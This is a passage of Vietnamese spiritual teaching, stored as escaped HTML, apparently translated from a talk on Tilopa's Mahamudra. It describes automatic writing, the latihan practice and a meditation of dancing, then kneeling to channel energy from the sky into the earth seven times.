l\u00ean.<\/p>\n<p>N\u1ebfu b\u1ea1n kh\u00f4ng bi\u1ebft g\u00ec v\u1ec1 vi\u1ec7c vi\u1ebft t\u1ef1 \u0111\u1ed9ng s\u1ebd d\u1ec5 d\u00e0ng \u0111\u1ec3 l\u00e0m theo \u0111i\u1ec1u x\u1ea3y ra trong \u0111\u1eafc kh\u00ed. Trong vi\u1ebft t\u1ef1 \u0111\u1ed9ng b\u1ea1n c\u1ea7m b\u00fat ch\u1ec9 trong tay, b\u1ea1n nh\u1eafm m\u1eaft, b\u1ea1n \u0111\u1ee3i. \u0110\u1ed9t nhi\u00ean b\u1ea1n c\u1ea3m th\u1ea5y c\u00e1i gi\u1eadt trong tay: tay b\u1ea1n b\u1ecb \u00e1m, d\u01b0\u1eddng nh\u01b0 c\u00e1i g\u00ec \u0111\u00f3 \u0111\u00e3 \u0111i v\u00e0o. B\u1ea1n kh\u00f4ng \u0111\u1ecbnh l\u00e0m b\u1ea5t k\u00ec c\u00e1i g\u00ec, v\u00ec n\u1ebfu b\u1ea1n l\u00e0m th\u1ebf th\u00ec n\u00f3 s\u1ebd kh\u00f4ng l\u00e0 t\u1eeb c\u00f5i b\u00ean kia; n\u00f3 s\u1ebd l\u00e0 vi\u1ec7c l\u00e0m c\u1ee7a b\u1ea1n. B\u1ea1n \u0111\u01a1n gi\u1ea3n cho ph\u00e9p. Ch\u00f9ng l\u1ecfng v\u00e0 t\u1ef1 nhi\u00ean &#8211; l\u1eddi c\u1ee7a Tilopa l\u00e0 tuy\u1ec7t v\u1eddi; ch\u00fang kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c c\u1ea3i ti\u1ebfn th\u00eam. Ch\u00f9ng l\u1ecfng v\u00e0 t\u1ef1 nhi\u00ean, b\u1ea1n ch\u1edd \u0111\u1ee3i v\u1edbi chi\u1ebfc b\u00fat ch\u00ec, v\u1edbi m\u1eaft nh\u1eafm; khi c\u00e1i gi\u1eadt t\u1edbi v\u00e0 tay b\u1eaft \u0111\u1ea7u chuy\u1ec3n \u0111\u1ed9ng, b\u1ea1n cho ph\u00e9p n\u00f3, c\u00f3 v\u1eady th\u00f4i. B\u1ea1n ph\u1ea3i kh\u00f4ng ch\u1ed1ng l\u1ea1i n\u00f3; v\u00ec b\u1ea1n c\u00f3 th\u1ec3 ch\u1ed1ng l\u1ea1i. N\u0103ng l\u01b0\u1ee3ng n\u00e0y l\u00e0 r\u1ea5t tinh t\u1ebf, v\u00e0, l\u00fac ban \u0111\u1ea7u, kh\u00f4ng r\u1ea5t m\u1ea1nh. N\u1ebfu b\u1ea1n ch\u1ec9 d\u1eebng n\u00f3 l\u1ea1i, n\u00f3 c\u00f3 th\u1ec3 b\u1ecb d\u1eebng l\u1ea1i. V\u00e0 n\u0103ng l\u01b0\u1ee3ng n\u00e0y kh\u00f4ng hung h\u0103ng; n\u1ebfu b\u1ea1n kh\u00f4ng cho ph\u00e9p n\u00f3, n\u00f3 s\u1ebd kh\u00f4ng t\u1edbi. N\u1ebfu b\u1ea1n nghi ng\u1edd, n\u00f3 s\u1ebd kh\u00f4ng x\u1ea3y ra, v\u00ec v\u1edbi nghi ng\u1edd, tay b\u1ea1n s\u1ebd ch\u1ed1ng l\u1ea1i. V\u1edbi nghi ng\u1edd, b\u1ea1n s\u1ebd kh\u00f4ng cho ph\u00e9p, b\u1ea1n s\u1ebd tranh \u0111\u1ea5u. Cho n\u00ean \u0111\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao tin c\u1eady l\u00e0 c\u00f3 ngh\u0129a th\u1ebf, shraddha. B\u1ea1n \u0111\u01a1n gi\u1ea3n tin c\u1eady v\u00e0 r\u1eddi kh\u1ecfi tay c\u1ee7a b\u1ea1n; d\u1ea7n d\u1ea7n tay b\u1eaft \u0111\u1ea7u chuy\u1ec3n \u0111\u1ed9ng, gi\u1edd tay b\u1eaft \u0111\u1ea7u l\u00e0m nh\u1eefng \u0111\u1ed9ng t\u00e1c u\u1ed1n \u00e9o tr\u00ean gi\u1ea5y &#8211; cho ph\u00e9p \u0111i\u1ec1u \u0111\u00f3. Th\u1ebf r\u1ed3i ai \u0111\u00f3 \u0111\u01a1n gi\u1ea3n h\u1ecfi m\u1ed9t c\u00e2u h\u1ecfi, hay b\u1ea3n th\u00e2n b\u1ea1n h\u1ecfi m\u1ed9t c\u00e2u h\u1ecfi; \u0111\u1ec3 c\u00e2u h\u1ecfi \u0111\u00f3 \u1edf \u0111\u00f3, ch\u00f9ng l\u1ecfng trong t\u00e2m tr\u00ed, kh\u00f4ng r\u1ea5t dai d\u1eb3ng, kh\u00f4ng \u00e9p bu\u1ed9c; ch\u1ec9 n\u00eau ra c\u00e2u h\u1ecfi v\u00e0 \u0111\u1ee3i. V\u00e0 \u0111\u1ed9t nhi\u00ean c\u00e2u tr\u1ea3 l\u1eddi \u0111\u01b0\u1ee3c vi\u1ebft ra.<\/p>\n<p>N\u1ebfu m\u01b0\u1eddi ng\u01b0\u1eddi th\u1eed, \u00edt nh\u1ea5t ba ng\u01b0\u1eddi s\u1ebd tuy\u1ec7t \u0111\u1ed1i c\u00f3 n\u0103ng l\u1ef1c vi\u1ebft t\u1ef1 \u0111\u1ed9ng. Ba m\u01b0\u01a1i ph\u1ea7n tr\u0103m m\u1ecdi ng\u01b0\u1eddi kh\u00f4ng nh\u1eadn bi\u1ebft r\u1eb1ng h\u1ecd c\u00f3 th\u1ec3 tr\u1edf n\u00ean c\u1ea3m nh\u1eadn th\u1ebf. V\u00e0 \u0111i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 tr\u1edf th\u00e0nh l\u1ef1c l\u1edbn trong \u0111\u1eddi b\u1ea1n. Nh\u1eefng c\u00e1ch gi\u1ea3i th\u00edch kh\u00e1c nhau&#8230; cho \u0111i\u1ec1u x\u1ea3y ra &#8211; \u0111i\u1ec1u \u0111\u00f3 l\u00e0 kh\u00f4ng quan tr\u1ecdng. Gi\u1ea3i th\u00edch s\u00e2u s\u1eafc nh\u1ea5t m\u00e0 t\u00f4i th\u1ea5y \u0111\u00fang l\u00e0, trung t\u00e2m cao nh\u1ea5t ri\u00eang c\u1ee7a b\u1ea1n s\u1edf h\u1eefu trung t\u00e2m th\u1ea5p nh\u1ea5t c\u1ee7a b\u1ea1n; \u0111\u1ec9nh t\u00e2m th\u1ee9c cao nh\u1ea5t ri\u00eang c\u1ee7a b\u1ea1n b\u1eaft gi\u1eef t\u00e2m tr\u00ed v\u00f4 th\u1ee9c th\u1ea5p nh\u1ea5t c\u1ee7a b\u1ea1n. B\u1ea1n h\u1ecfi v\u00e0 con ng\u01b0\u1eddi b\u00ean trong ri\u00eang c\u1ee7a b\u1ea1n tr\u1ea3 l\u1eddi. Kh\u00f4ng ai kh\u00e1c c\u00f3 \u0111\u00f3, nh\u01b0ng con ng\u01b0\u1eddi b\u00ean trong c\u1ee7a b\u1ea1n, c\u00e1i b\u1ea1n kh\u00f4ng bi\u1ebft, l\u00e0 r\u1ea5t cao si\u00eau v\u1edbi b\u1ea1n.<\/p>\n<p>Con ng\u01b0\u1eddi b\u00ean trong nh\u1ea5t c\u1ee7a b\u1ea1n l\u00e0 kh\u1ea3 n\u0103ng c\u1ee7a vi\u1ec7c n\u1edf hoa t\u1ed1i th\u01b0\u1ee3ng c\u1ee7a b\u1ea1n. D\u01b0\u1eddng nh\u01b0 l\u00e0 hoa n\u1eafm quy\u1ec1n s\u1edf h\u1eefu h\u1ea1t m\u1ea7m v\u00e0 c\u00e2u tr\u1ea3 l\u1eddi. H\u1ea1t m\u1ea7m kh\u00f4ng bi\u1ebft, nh\u01b0ng hoa&#8230; d\u01b0\u1eddng nh\u01b0 kh\u1ea3 n\u0103ng c\u1ee7a b\u1ea1n n\u1eafm quy\u1ec1n s\u1edf h\u1eefu th\u1ef1c t\u1ea1i c\u1ee7a b\u1ea1n v\u00e0 tr\u1ea3 l\u1eddi; d\u01b0\u1eddng nh\u01b0 ti\u1ec1m n\u0103ng t\u1ed1i th\u01b0\u1ee3ng c\u1ee7a b\u1ea1n n\u1eafm quy\u1ec1n s\u1edf h\u1eefu d\u00f9 b\u1ea1n l\u00e0 b\u1ea5t k\u00ec c\u00e1i g\u00ec, v\u00e0 tr\u1ea3 l\u1eddi. Hay t\u01b0\u01a1ng lai n\u1eafm quy\u1ec1n s\u1edf h\u1eefu qu\u00e1 kh\u1ee9, c\u00e1i kh\u00f4ng bi\u1ebft n\u1eafm quy\u1ec1n s\u1edf h\u1eefu c\u00e1i \u0111\u00e3 bi\u1ebft, c\u00e1i v\u00f4 h\u00ecnh th\u1ec3 n\u1eafm quy\u1ec1n s\u1edf h\u1eefu c\u00e1i h\u00ecnh th\u1ec3 &#8211; m\u1ecdi bi\u1ec3u d\u1ee5, nh\u01b0ng t\u00f4i c\u1ea3m th\u1ea5y b\u1ea1n s\u1ebd hi\u1ec3u \u00fd ngh\u0129a n\u00e0y &#8211; d\u01b0\u1eddng nh\u01b0 tu\u1ed5i gi\u00e0 c\u1ee7a b\u1ea1n n\u1eafm quy\u1ec1n s\u1edf h\u1eefu th\u1eddi th\u01a1 \u1ea5u c\u1ee7a b\u1ea1n, v\u00e0 tr\u1ea3 l\u1eddi.<\/p>\n<p>C\u00f9ng \u0111i\u1ec1u n\u00e0y x\u1ea3y ra trong \u0111\u1eafc kh\u00ed v\u1edbi to\u00e0n th\u1ec3 th\u00e2n th\u1ec3. Trong vi\u1ebft t\u1ef1 \u0111\u1ed9ng b\u1ea1n ch\u1ec9 \u0111\u1ec3 tay b\u1ea1n ch\u00f9ng l\u1ecfng v\u00e0 t\u1ef1 nhi\u00ean. Trong \u0111\u1eafc kh\u00ed b\u1ea1n \u0111\u1ec3 to\u00e0n th\u00e2n c\u1ee7a b\u1ea1n ch\u00f9ng l\u1ecfng v\u00e0 b\u1ea1n ch\u1edd \u0111\u1ee3i, v\u00e0 b\u1ea1n h\u1ee3p t\u00e1c, v\u00e0 \u0111\u1ed9t nhi\u00ean b\u1ea3n th\u1ea5y s\u1ef1 th\u00f4i th\u00fac. Tay \u0111ang t\u1ef1 n\u00f3 gi\u01a1 l\u00ean, d\u01b0\u1eddng nh\u01b0 ai \u0111\u00f3 \u0111ang k\u00e9o n\u00f3 b\u1eb1ng nh\u1eefng s\u1ee3i d\u00e2y v\u00f4 h\u00ecnh &#8211; cho ph\u00e9p \u0111i\u1ec1u \u0111\u00f3. V\u00e0 ch\u00e2n li\u00ean t\u1ee5c c\u1eed \u0111\u1ed9ng; b\u1ea1n l\u1ea5y vi\u1ec7c quay, b\u1ea1n b\u1eaft \u0111\u1ea7u \u0111i\u1ec7u v\u0169 nh\u1ecf; r\u1ea5t h\u1ed7n \u0111\u1ed9n, kh\u00f4ng nh\u1ecbp \u0111i\u1ec7u, kh\u00f4ng thao t\u00fang, nh\u01b0ng d\u1ea7n d\u1ea7n, khi b\u1ea1n \u0111i s\u00e2u h\u01a1n, n\u00f3 l\u1ea5y nh\u1ecbp ri\u00eang c\u1ee7a n\u00f3. Th\u1ebf r\u1ed3i n\u00f3 kh\u00f4ng c\u00f2n l\u00e0 h\u1ed7n \u0111\u1ed9n, n\u00f3 l\u1ea5y tr\u1eadt t\u1ef1 ri\u00eang c\u1ee7a n\u00f3, n\u00f3 tr\u1edf th\u00e0nh k\u1ec9 lu\u1eadt, nhng kh\u00f4ng b\u1ecb b\u1ea1n \u00e9p bu\u1ed9c. \u0110\u00e2y l\u00e0 vi\u1ec7c n\u1eafm quy\u1ec1n s\u1edf h\u1eefu c\u00f3 th\u1ec3 cao nh\u1ea5t c\u1ee7a b\u1ea1n v\u1edbi th\u00e2n th\u1ec3 th\u1ea5p nh\u1ea5t c\u1ee7a b\u1ea1n v\u00e0 l\u00e0m n\u00f3 chuy\u1ec3n \u0111\u1ed9ng.<\/p>\n<p>\u0110\u1eafc kh\u00ed l\u00e0 b\u01b0\u1edbc \u0111\u1ea7u ti\u00ean. V\u00e0, d\u1ea7n d\u1ea7n, b\u1ea1n s\u1ebd c\u1ea3m th\u1ea5y vi\u1ec7c l\u00e0m n\u00f3 l\u00e0 \u0111\u1eb9p t\u1edbi m\u1ee9c b\u1ea1n s\u1ebd c\u1ea3m th\u1ea5y s\u1ef1 g\u1eb7p g\u1ee1 \u0111ang x\u1ea3y ra gi\u1eefa b\u1ea1n v\u00e0 c\u00e0n kh\u00f4n. Nh\u01b0ng \u0111\u00e2y ch\u1ec9 l\u00e0 b\u01b0\u1edbc \u0111\u1ea7u ti\u00ean. \u0110\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao trong Subud c\u00e1i g\u00ec \u0111\u00f3 b\u1ecb thi\u1ebfu. B\u01b0\u1edbc th\u1ee9 nh\u1ea5t trong b\u1ea3n th\u00e2n n\u00f3 l\u00e0 r\u1ea5t \u0111\u1eb9p, nh\u01b0ng n\u00f3 kh\u00f4ng ph\u1ea3i l\u00e0 b\u01b0\u1edbc cu\u1ed1i c\u00f9ng. T\u00f4i mu\u1ed1n b\u1ea1n l\u00e0m \u0111\u1ea7y \u0111\u1ee7 n\u00f3. \u00cdt nh\u1ea5t trong ba m\u01b0\u01a1i ph\u00fat &#8211; s\u00e1u m\u01b0\u01a1i ph\u00fat s\u1ebd l\u00e0 tuy\u1ec7t v\u1eddi; d\u1ea7n d\u1ea7n t\u1eeb ba m\u01b0\u01a1i b\u1ea1n l\u00ean t\u1edbi s\u00e1u m\u01b0\u01a1i ph\u00fat nh\u1ea3y m\u00faa \u0111\u1eafc kh\u00ed.<\/p>\n<p>Trong s\u00e1u m\u01b0\u01a1i ph\u00fat th\u00e2n th\u1ec3 b\u1ea1n, t\u1eeb t\u1eebng l\u1ed7 ch\u00e2n l\u00f4ng, t\u1eeb t\u1eebng t\u1ebf b\u00e0o, \u0111\u1ec1u \u0111\u01b0\u1ee3c lau s\u1ea1ch; \u0111\u00f3 l\u00e0 vi\u1ec7c t\u1ea9y r\u1eeda, b\u1ea1n \u0111\u01b0\u1ee3c l\u00e0m m\u1edbi ho\u00e0n to\u00e0n, m\u1ecdi ch\u1ea5t b\u1ea9n b\u1ecb thi\u00eau ch\u00e1y. \u0110\u00f3 l\u00e0 \u0111i\u1ec1u Tilopa n\u00f3i: Trong \u0110\u1ea1i th\u1ee7 \u1ea5n m\u1ecdi t\u1ed9i c\u1ee7a ng\u01b0\u1eddi ta b\u1ecb thi\u00eau ch\u00e1y. Qu\u00e1 kh\u1ee9 b\u1ecb n\u00e9m v\u00e0o trong l\u1eeda. \u0110\u00f3 l\u00e0 vi\u1ec7c sinh m\u1edbi, vi\u1ec7c t\u00e1i sinh. V\u00e0 b\u1ea1n c\u1ea3m th\u1ea5y n\u0103ng l\u01b0\u1ee3ng tr\u00fat l\u00ean kh\u1eafp b\u1ea1n, trong v\u00e0 ngo\u00e0i. V\u00e0 \u0111i\u1ec7u v\u0169 kh\u00f4ng ch\u1ec9 \u1edf b\u00ean ngo\u00e0i. Khi b\u1ea1n \u0111\u01b0\u1ee3c ho\u00e0 h\u1ee3p trong n\u00f3, b\u1ea1n c\u0169ng s\u1ebd s\u1edbm c\u1ea3m th\u1ea5y \u0111i\u1ec7u v\u0169 b\u00ean trong n\u1eefa. Kh\u00f4ng ch\u1ec9 th\u00e2n th\u1ec3 b\u1ea1n \u0111ang nh\u1ea3y m\u00faa, b\u00ean trong n\u0103ng l\u01b0\u1ee3ng n\u00e0y \u0111ang nh\u1ea3y m\u00faa; v\u00e0 c\u1ea3 hai ch\u00fang h\u1ee3p t\u00e1c v\u1edbi nhau. V\u00e0 th\u1ebf th\u00ec m\u1ed9t dao \u0111\u1ed9ng x\u1ea3y ra, v\u00e0 b\u1ea1n c\u1ea3m th\u1ea5y b\u1ea1n \u0111ang dao \u0111\u1ed9ng c\u00f9ng v\u1edbi v\u0169 tr\u1ee5 &#8211; b\u1ea1n \u0111\u00e3 t\u00ecm ra nh\u1ecbp \u0111i\u1ec7u v\u0169 tr\u1ee5.<\/p>\n<p>Ba m\u01b0\u01a1i t\u1edbi s\u00e1u m\u01b0\u01a1i ph\u00fat l\u00e0 th\u1eddi gian n\u00e0y: b\u1eaft \u0111\u1ea7u v\u1edbi ba m\u01b0\u01a1i, k\u1ebft th\u00fac v\u1edbi s\u00e1u m\u01b0\u01a1i. \u0110\u00e2u \u0111\u00f3 \u1edf gi\u1eefa b\u1ea1n s\u1ebd c\u00f3 th\u1eddi gian \u0111\u00fang. V\u00e0 b\u1ea1n s\u1ebd \u0111i t\u1edbi bi\u1ebft: n\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c ho\u00e0 \u0111i\u1ec7u \u0111\u00e2u \u0111\u00f3 qu\u00e3ng b\u1ed1n m\u01b0\u01a1i ph\u00fat, th\u1ebf th\u00ec \u0111\u00f3 l\u00e0 th\u1eddi gian \u0111\u00fang c\u1ee7a b\u1ea1n; n\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c ho\u00e0 \u0111i\u1ec7u v\u1edf hai m\u01b0\u01a1i ph\u00fat, th\u1ebf th\u00ec \u0111\u00f3 l\u00e0 th\u1eddi gian \u0111\u00fang c\u1ee7a b\u1ea1n. Th\u1ebf th\u00ec thi\u1ec1n c\u1ee7a b\u1ea1n ph\u1ea3i \u0111i ra ngo\u00e0i \u0111i\u1ec1u \u0111\u00f3: n\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c ho\u00e0 \u0111i\u1ec7u trong m\u01b0\u1eddi ph\u00fat, hai m\u01b0\u01a1i ph\u00fat s\u1ebd c\u00f3 t\u00e1c d\u1ee5ng; n\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c ho\u00e0 \u0111i\u1ec7u \u1edf n\u0103m m\u01b0\u01a1i ph\u00fat, ba m\u01b0\u01a1i ph\u00fat s\u1ebd c\u00f3 t\u00e1c d\u1ee5ng. L\u00e0m n\u00f3 g\u1ea5p \u0111\u00f4i, \u0111\u1eebng l\u1ea5y b\u1ea5t k\u00ec c\u01a1 h\u1ed9i n\u00e0o, \u0111\u1ec3 cho th\u1ef1c s\u1ef1 b\u1ea1n \u0111\u01b0\u1ee3c lau s\u1ea1ch ho\u00e0n to\u00e0n. V\u00e0 k\u1ebft th\u00fac n\u00f3 v\u1edbi l\u1eddi c\u1ea7u nguy\u1ec7n.<\/p>\n<p>Khi b\u1ea1n \u0111\u01b0\u1ee3c lau s\u1ea1ch ho\u00e0n to\u00e0n v\u00e0 c\u1ea3m th\u1ea5y r\u1eb1ng th\u00e2n th\u1ec3 b\u1ea1n \u0111\u01b0\u1ee3c l\u00e0m t\u01b0\u01a1i t\u1eafn l\u00ean &#8211; b\u1ea1n \u0111\u00e3 \u1edf d\u01b0\u1edbi vi\u1ec7c tr\u00fat xu\u1ed1ng c\u1ee7a n\u0103ng l\u01b0\u1ee3ng, v\u00e0 to\u00e0n th\u00e2n b\u1ea1n \u0111ang c\u1ea3m th\u1ea5y l\u00e0 m\u1ed9t, kh\u00f4ng ph\u00e2n chia; v\u00e0 t\u00ednh ch\u1eafc ch\u1eafn c\u1ee7a th\u00e2n th\u1ec3 b\u1ecb m\u1ea5t, b\u1ea1n c\u1ea3m th\u1ea5y n\u0103ng l\u01b0\u1ee3ng, s\u1ef1 chuy\u1ec3n \u0111\u1ed9ng, qu\u00e1 tr\u00ecnh, kh\u00f4ng ph\u1ea3i v\u1eadt ch\u1ea5t &#8211; b\u00e2y gi\u1edd b\u1ea1n s\u1eb5n s\u00e0ng. Th\u1ebf r\u1ed3i qu\u00ec xu\u1ed1ng tr\u00ean \u0111\u1ea5t.<\/p>\n<p>Vi\u1ec7c qu\u00ec xu\u1ed1ng l\u00e0 \u0111\u1eb9p; c\u0169ng gi\u1ed1ng nh\u01b0 ng\u01b0\u1eddi Sufi qu\u00ec xu\u1ed1ng, hay ng\u01b0\u1eddi M\u00f4 ha m\u00e9t gi\u00e1o, l\u00e0m l\u1eddi c\u1ea7u nguy\u1ec7n c\u1ee7a h\u1ecd trong nh\u00e0 th\u1edd h\u1ed3i gi\u00e1o, qu\u00ec xu\u1ed1ng nh\u01b0 h\u1ecd v\u00ec \u0111\u00f3 l\u00e0 t\u01b0 th\u1ebf t\u1ed1t nh\u1ea5t cho \u0111\u1eafc kh\u00ed. Th\u1ebf r\u1ed3i gi\u01a1 hai tay c\u1ee7a b\u1ea1n l\u00ean tr\u1eddi v\u1edbi m\u1eaft nh\u1eafm, v\u00e0 c\u1ea3m th\u1ea5y b\u1ea3n th\u00e2n b\u1ea1n gi\u1ed1ng nh\u01b0 con thuy\u1ec1n h\u1ed5ng, tr\u00fac h\u1ed5ng; b\u00ean trong, h\u1ed5ng ho\u00e1c, c\u0169ng nh\u01b0 c\u00e1i b\u00ecnh \u0111\u1ea5t. \u0110\u1ea7u c\u1ee7a b\u1ea1n l\u00e0 mi\u1ec7ng b\u00ecnh, v\u00e0 n\u0103ng l\u01b0\u1ee3ng \u0111ang r\u01a1i nhi\u1ec1u v\u00f4 c\u00f9ng l\u00ean \u0111\u1ea7u b\u1ea1n d\u01b0\u1eddng nh\u01b0 b\u1ea1n \u0111ang \u0111\u1ee9ng d\u01b0\u1edbi th\u00e1c n\u01b0\u1edbc. V\u00e0 b\u1ea1n th\u1ef1c t\u1ea1i s\u1ebd \u0111\u1ee9ng &#8211; sau \u0111\u1eafc kh\u00ed b\u1ea1n s\u1ebd c\u1ea3m th\u1ea5y n\u00f3; n\u00f3 gi\u1ed1ng nh\u01b0 th\u00e1c n\u01b0\u1edbc, kh\u00f4ng nh\u01b0 v\u00f2i sen. Khi b\u1ea1n s\u1eb5n s\u00e0ng n\u00f3 r\u01a1i xu\u1ed1ng theo s\u1ee9c m\u1ea1nh l\u1edbn h\u01a1n, m\u1ea1nh m\u1ebd, v\u00e0 th\u00e2n th\u1ec3 b\u1ea1n s\u1ebd b\u1eaft \u0111\u1ea7u run l\u00ean, rung chuy\u1ec3n, nh\u01b0 chi\u1ebfc l\u00e1 trong gi\u00f3 m\u1ea1nh; hay, n\u1ebfu b\u1ea1n \u0111\u00f4i khi \u0111\u00e3 t\u1eebng \u0111\u1ee9ng d\u01b0\u1edbi th\u00e1c n\u01b0\u1edbc, th\u1ebf th\u00ec b\u1ea1n s\u1ebd bi\u1ebft. N\u1ebfu b\u1ea1n ch\u01b0a bao gi\u1edd \u0111\u1ee9ng d\u01b0\u1edbi th\u00e1c n\u01b0\u1edbc, \u0111i t\u1edbi th\u00e1c n\u01b0\u1edbc v\u00e0 \u0111\u1ee9ng d\u01b0\u1edbi n\u00f3 v\u00e0 c\u1ea3m th\u1ea5y n\u00f3 cho c\u1ea3m gi\u00e1c th\u1ebf n\u00e0o. C\u00f9ng vi\u1ec7c c\u1ea3m \u0111\u00f3 s\u1ebd t\u1edbi v\u1edbi b\u1ea1n sau \u0111\u1eafc kh\u00ed. C\u1ea3m th\u1ea5y b\u1ea3n th\u00e2n b\u1ea1n h\u1ed5ng ho\u00e1c b\u00ean trong, h\u01b0 kh\u00f4ng b\u00ean trong, ch\u1ec9 tr\u1ed1ng r\u1ed7ng &#8211; v\u00e0 n\u0103ng l\u01b0\u1ee3ng n\u00e0y \u0111ang r\u00f3t \u0111\u1ea7y b\u1ea1n, r\u00f3t \u0111\u1ea7u b\u1ea1n ho\u00e0n to\u00e0n.<\/p>\n<p>Cho ph\u00e9p n\u00f3 r\u01a1i v\u00e0o trong b\u1ea1n s\u00e2u nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c, \u0111\u1ec3 cho n\u00f3 c\u00f3 th\u1ec3 \u0111\u1ea1t t\u1edbi g\u00f3c xa nh\u1ea5t c\u1ee7a th\u00e2n th\u1ec3 v\u00e0 t\u00e2m tr\u00ed v\u00e0 h\u1ed3n c\u1ee7a b\u1ea1n. V\u00e0 khi b\u1ea1n c\u1ea3m th\u1ea5y \u0111i\u1ec1u \u0111\u00f3 &#8211; b\u1ea1n \u0111\u01b0\u1ee3c r\u00f3t \u0111\u1ea7y nhi\u1ec1u th\u1ebf, v\u00e0 to\u00e0n th\u00e2n \u0111ang rung l\u00ean &#8211; qu\u00ec xu\u1ed1ng, \u0111\u1ec3 \u0111\u1ea7u b\u1ea1n th\u1ea5p xu\u1ed1ng tr\u00ean \u0111\u1ea5t, v\u00e0 \u0111\u1ed5 n\u0103ng l\u01b0\u1ee3ng n\u00e0y v\u00e0o trong \u0111\u1ea5t. Khi b\u1ea1n c\u1ea3m th\u1ea5y n\u0103ng l\u01b0\u1ee3ng n\u00e0y \u0111ang tr\u00e0n ng\u1eadp, \u0111\u1ed5 n\u00f3 xu\u1ed1ng \u0111\u1ea5t. L\u1ea5y t\u1eeb tr\u1eddi, tr\u1ea3 n\u00f3 l\u1ea1i cho \u0111\u1ea5t, v\u00e0 b\u1ea1n s\u1ebd ch\u1ec9 l\u00e0 tr\u00fac h\u1ed5ng \u1edf gi\u1eefa.<\/p>\n<p>\u0110i\u1ec1u n\u00e0y ph\u1ea3i \u0111\u01b0\u1ee3c l\u00e0m b\u1ea9y l\u1ea7n. L\u1ea5y t\u1eeb tr\u1eddi v\u00e0 \u0111\u1ed5 xu\u1ed1ng \u0111\u1ea5t v\u00e0 h\u00f4n \u0111\u1ea5t, v\u00e0 \u0111\u1ed5 xu\u1ed1ng &#8211; l\u00e0 tr\u1ed1ng r\u1ed7ng ho\u00e0n to\u00e0n. \u0110\u1ed5 xu\u1ed1ng ho\u00e0n to\u00e0n nh\u01b0 b\u1ea1n \u0111\u00e3 l\u00e0m cho vi\u1ec7c r\u00f3t v\u00e0o, l\u00e0 tr\u1ed1ng r\u1ed7ng ho\u00e0n to\u00e0n. Th\u1ebf r\u1ed3i l\u1ea1i gi\u01a1 tay b\u1ea1n l\u00ean, l\u1ea1i r\u00f3t \u0111\u1ea7y, l\u1ea1i \u0111\u1ed5 xu\u1ed1ng. \u0110i\u1ec1u \u0111\u00f3 ph\u1ea3i \u0111\u01b0\u1ee3c l\u00e0m b\u1ea9y l\u1ea7n, v\u00ec t\u1eebng l\u00fac n\u00f3 xuy\u00ean th\u1ea5y v\u00e0o m\u1ed9t lu\u00e2n xa c\u1ee7a th\u00e2n th\u1ec3, m\u1ed9t trung t\u00e2m c\u1ee7a th\u00e2n th\u1ec3; m\u1ed7i l\u00fac n\u00f3 \u0111i s\u00e2u h\u01a1n v\u00e0o trong b\u1ea1n. V\u00e0 n\u1ebfu b\u1ea1n l\u00e0m \u00edt h\u01a1n b\u1ea9y l\u1ea7n, th\u1ebf th\u00ec b\u1ea1n s\u1ebd c\u1ea3m th\u1ea5y b\u1ed3n ch\u1ed3n sau n\u00f3 v\u00ec n\u0103ng l\u01b0\u1ee3ng n\u00e0y s\u1ebd treo \u1edf \u0111\u00e2u \u0111\u00f3 \u1edf gi\u1eefa.<\/p>\n<p>Kh\u00f4ng, n\u00f3 ph\u1ea3i xuy\u00ean th\u1ea5u v\u00e0o t\u1ea5t c\u1ea3 b\u1ea9y lu\u00e2n xa c\u1ee7a th\u00e2n th\u1ec3 c\u1ee7a b\u1ea1n \u0111\u1ec3 cho b\u1ea1n tr\u1edf n\u00ean ho\u00e0n to\u00e0n h\u1ed5ng ho\u00e1c, l\u1ed1i chuy\u1ec3n. N\u0103ng l\u01b0\u1ee3ng n\u00e0y r\u01a1i t\u1eeb tr\u1eddi v\u00e0 \u0111i v\u00e0o trong \u0111\u1ea5t, b\u1ea1n \u0111\u01b0\u1ee3c n\u1ed1i \u0111\u1ea5t; b\u1ea1n \u0111\u01a1n gi\u1ea3n truy\u1ec1n n\u0103ng l\u01b0\u1ee3ng n\u00e0y cho \u0111\u1ea5t, h\u1ec7t nh\u01b0 \u0111i\u1ec7n. V\u1edbi \u0111i\u1ec7n ch\u00fang ta ph\u1ea3i \u0111\u1eb7t d\u00e2y \u0111\u1ea5t. N\u0103ng l\u01b0\u1ee3ng n\u00e0y t\u1edbi t\u1eeb tr\u1eddi v\u00e0 \u0111i v\u00e0o trong \u0111\u1ea5t, b\u1ea1n tr\u1edf n\u00ean \u0111\u01b0\u1ee3c ti\u1ebfp \u0111\u1ea5t &#8211; ch\u1ec9 l\u00e0 c\u00e1i th\u00f9ng, c\u00e2y tr\u00fac h\u1ed5ng truy\u1ec1n n\u0103ng l\u01b0\u1ee3ng n\u00e0y. B\u1ea9y l\u1ea7n &#8211; b\u1ea1n c\u00f3 th\u1ec3 l\u00e0m nhi\u1ec1u h\u01a1n, nh\u01b0ng kh\u00f4ng \u00edt h\u01a1n. V\u00e0 \u0111i\u1ec1u n\u00e0y s\u1ebd l\u00e0 \u0110\u1ea1i th\u1ee7 \u1ea5n \u0111\u1ea7y \u0111\u1ee7.<\/p>\n<p>N\u1ebfu b\u1ea1n l\u00e0m n\u00f3 m\u1ecdi ng\u00e0y, trong v\u00f2ng ba th\u00e1ng, m\u1ed9t ng\u00e0y n\u00e0o \u0111\u00f3 b\u1ea1n s\u1ebd s\u1edbm c\u1ea3m th\u1ea5y b\u1ea1n kh\u00f4ng c\u00f3 \u0111\u00f3. Ch\u1ec9 n\u0103ng l\u01b0\u1ee3ng n\u00e0y \u0111ang dao \u0111\u1ed9ng c\u00f9ng v\u0169 tr\u1ee5 &#8211; kh\u00f4ng ai c\u00f3 \u0111\u00f3, b\u1ea3n ng\u00e3 ho\u00e0n to\u00e0n b\u1ecb m\u1ea5t \u0111i, ng\u01b0\u1eddi l\u00e0m kh\u00f4ng hi\u1ec7n h\u1eefu. V\u0169 tr\u1ee5 c\u00f3 \u0111\u00f3, v\u00e0 b\u1ea1n c\u00f3 \u0111\u00f3, s\u00f3ng n\u00e0y dao 